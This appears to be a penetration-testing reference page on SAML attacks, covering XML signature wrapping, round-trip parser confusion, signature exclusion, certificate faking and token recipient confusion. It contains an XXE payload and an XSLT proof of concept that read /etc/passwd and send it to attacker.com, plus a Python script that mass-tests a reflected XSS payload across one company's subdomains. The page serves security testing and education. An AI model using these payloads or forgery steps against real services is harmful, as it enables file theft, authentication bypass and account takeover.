SAML Attacks

Basic Information

Attacks Graphic

Tool

SAMLExtractor: A tool that can take a URL or list of URL and prints back SAML consume URL.

XML round-trip

In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, the data being checked and the original data could not be the same.

For example, check the following code:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
  <Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Running the program against REXML 3.2.4 or earlier would result in the following output instead:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

And this is how it saw it after a round of parsing and serialization:

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

XML documents containing XML Signatures are typically processed in two independent steps: signature validation and function invocation (business logic). If both modules have different views on the data, a new class of vulnerabilities named XML Signature Wrapping attacks (XSW) exists. In these attacks the adversary modifies the message structure by injecting forged elements which do not invalidate the XML Signature. The goal of this alteration is to change the message in such a way that the application logic and the signature verification module use different parts of the message. Consequently, the receiver verifies the XML Signature successfully but the application logic processes the bogus element. The attacker thus circumvents the integrity protection and the origin authentication of the XML Signature and can inject arbitrary content.

From the SAML request:

XSW #1

An attacker can add a new root element where the signature is found. Therefore, when the validator checks the integrity of the signature it may note that it has check the integrity of the Response -> Assertion -> Subject, and it might get confused with the evil new Response -> Assertion -> Subject path in red and use its data.

XSW #2

The difference with #1 is that the type of Signature used is a detached signature where XSW #1 used an enveloping signature. Note how the new evil structure is the same as before trying to confuse the business logic after the integrity check was performed.

XSW #3

In this attack an evil Assertion is created in at the same level as the original assertion to try to confuse the business logic and use the evil data.

XSW #4

XSW #4 is similar to #3, except in this case the original Assertion becomes a child of the copied Assertion.

XSW #5

In XSW #5 the Signature and the original Assertion aren’t in one of the three standard configurations (enveloped/enveloping/detached). In this case, the copied Assertion envelopes the Signature.

XSW #6

XSW #6 inserts its copied Assertion into the same location as #’s 4 and 5. The interesting piece here is that the copied Assertion envelopes the Signature, which in turn envelopes the original Assertion.

XSW #7

XSW #7 inserts an Extensions element and adds the copied Assertion as a child. Extensions is a valid XML element with a less restrictive schema definition. The authors of this white paper developed this method in response to the OpenSAML library. OpenSAML used schema validation to correctly compare the ID used during signature validation to the ID of the processed Assertion. The authors found in cases where copied Assertions with the same ID of the original Assertion were children of an element with a less restrictive schema definition, they were able to bypass this particular countermeasure.

XSW #8

XSW #8 uses another less restrictive XML element to perform a variation of the attack pattern used in XSW #7. This time around the original Assertion is the child of the less restrictive element instead of the copied Assertion.

Tool

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

Original Paper

For more information about this attack read the original paper in https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf

XXE

If you don't know which kind of attacks are XXE, please read the following page:

pageXXE - XEE - XML External Entity

Due to the fact that SAML Responses are deflated and base64’d XML documents, we can test for XXE by manipulating the XML document sent as the SAML Response. Example:

<?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE foo [  
   <!ELEMENT foo ANY >
   <!ENTITY    file SYSTEM "file:///etc/passwd">
   <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
  <samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
  <saml:Issuer>...</saml:Issuer>
  <ds:Signature ...>
    <ds:SignedInfo>
      <ds:CanonicalizationMethod .../>
      <ds:SignatureMethod .../>
      <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
    </ds:SignedInfo>
    <ds:SignatureValue>...</ds:SignatureValue>
[...]

Tool

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XXE vulnerabilities.

XSLT via SAML

For more information about XSLT go to:

pageXSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

Extensible Stylesheet Language Transformation (XSLT) is a Turing-complete language for transforming XML documents into other document types such as HTML, JSON, or PDF. An important aspect to note here is that the attack doesn’t require a valid signature to succeed. The reason for this is that the XSLT transformation occurs before the digital signature is processed for verification. Basically, we need a signed SAML Response to perform the attack, but the signature can be self-signed or invalid.

Here you can find a POC to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
  ...
    <ds:Transforms>
      <ds:Transform>
        <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
          <xsl:template match="doc">
            <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
            <xsl:variable name="escaped" select="encode-for-uri($file)"/>
            <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
            <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
            <xsl:value-of select="unparsed-text($exploitUrl)"/>
          </xsl:template>
        </xsl:stylesheet>
      </ds:Transform>
    </ds:Transforms>
  ...
</ds:Signature>

Tool

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

XML Signature Exclusion

Signature Exclusion is used to test how the SAML implementation behaves when there is no Signature element. When a Signature element is absent the signature validation step may get skipped entirely. If the Signature isn’t validated, then any of the contents that would typically be signed may be tampered with by an attacker.

Tool

Signature exclusion begins with intercepting the SAML Response then clicking Remove Signatures. In doing so all Signature elements are removed.

With the signatures removed, allow the request to proceed to the target. If the Signature isn’t required by the Service

Certificate Faking

Certificate faking is the process of testing whether or not the Service Provider verifies that a trusted Identity Provider signed the SAML Message. The trust relationship between SP and IdP is established and should be verified each time a SAML Message is received. What this comes down to is using a self-signed certificate to sign the SAML Response or Assertion.

Tool

The Burp extension SAML Raider is going to be used. To fake a certificate, begin by intercepting the SAML Response. If there is a Signature included in the Response, use the Send Certificate to SAML Raider Certs button.

After sending the certificate, we should see an imported certificate in the SAML Raider Certificates tab. Once there, we highlight the imported cert and press the Save and Self-Sign button.

Doing so generates a self-signed clone of the original certificate. Now it’s time to move back to the intercepted request still held in burp’s Proxy. First, select the new self-signed cert from the XML Signature dropdown menu. Then use the Remove Signatures button to remove any existing signatures. Finally, use the (Re-)Sign Message or (Re-)Sign Assertion button (whichever is more appropriate in your given situation).

After signing the message with the self-signed cert, send it on its way. If we authenticate, we know that we can sign our SAML Messages. The ability to sign our SAML Messages means we can change values in the Assertion and they will be accepted by the Service Provider.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion / Service Provider Target CONfusion tests whether or not the Service Provider validates the Recipient. This means, that if the response was meant to a different Service Provider, the current Service Provider should notice it and reject the authentication. The Recipient field is an attribute of the SubjectConfirmationData element, which is a child of the Subject element in a SAML Response.

The SubjectConfirmationData element specifies additional data that allows the subject to be confirmed or constrains the circumstances under which the act of subject confirmation can take place. Subject confirmation takes place when a relying party seeks to verify the relationship between an entity presenting the assertion (that is, the attesting entity) and the subject of the assertion’s claims.

The Recipient attribute found on the SubjectConfirmationData element is a URL that specifies the location to which the Assertion must be delivered. If the Recipient is a different Service Provider than the one who receives it, the Assertion should not be accepted.

How-to

SAML Token Recipient Confusion (SAML-TRC) has a few prequisite conditions in order for us to attempt exploitation. First, we need to have a legitimate account on a Service Provider. Second, SP-Target must accept tokens issued by the same Identity Provider that services SP-Legit.

The attack is relatively simple if the conditions are true. We authenticate to SP-Legit via the shared Identity Provider. We then intercept the SAML Response on its way from the IdP to SP-Legit. Once intercepted, we send the SAML Response that was intended for SP-Legit to SP-Target instead. If SP-Target accepts the Assertion; we’ll find ourselves logged in with the same account name as we have for SP-Legit and get access to SP-Target’s corresponding resources.

XSS in Logout functionality

(Access the original research here)

After performing the directory brute forcing I found the following page:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

It's a logout page, I opened the above link and it did redirect me to the following page

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

The base parameter is taking a URL so how about replacing that with the old classic javascript:alert(123); to trigger an XSS.

Mass Exploitation

Using SAMLExtractor that can take a list of URLs and then give you back the callback (SAML consume) URL, I decided to feed the tool with all subdomains of uberinternal.com to see if there are other domains that use the same library and there was.

What I did next was to create a script that calls the vulnerable page oidauth/prompt and try the XSS and if my input is reflected it gives me a nice vulnerable message.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
            for url in urlList:
                url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
                request = requests.get(url2, allow_redirects=True,verify=False)
                doesit = Fore.RED + "no"
                if ("Fady" in request.content):
                    doesit = Fore.GREEN + "yes"
                print(Fore.WHITE + url2)
                print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)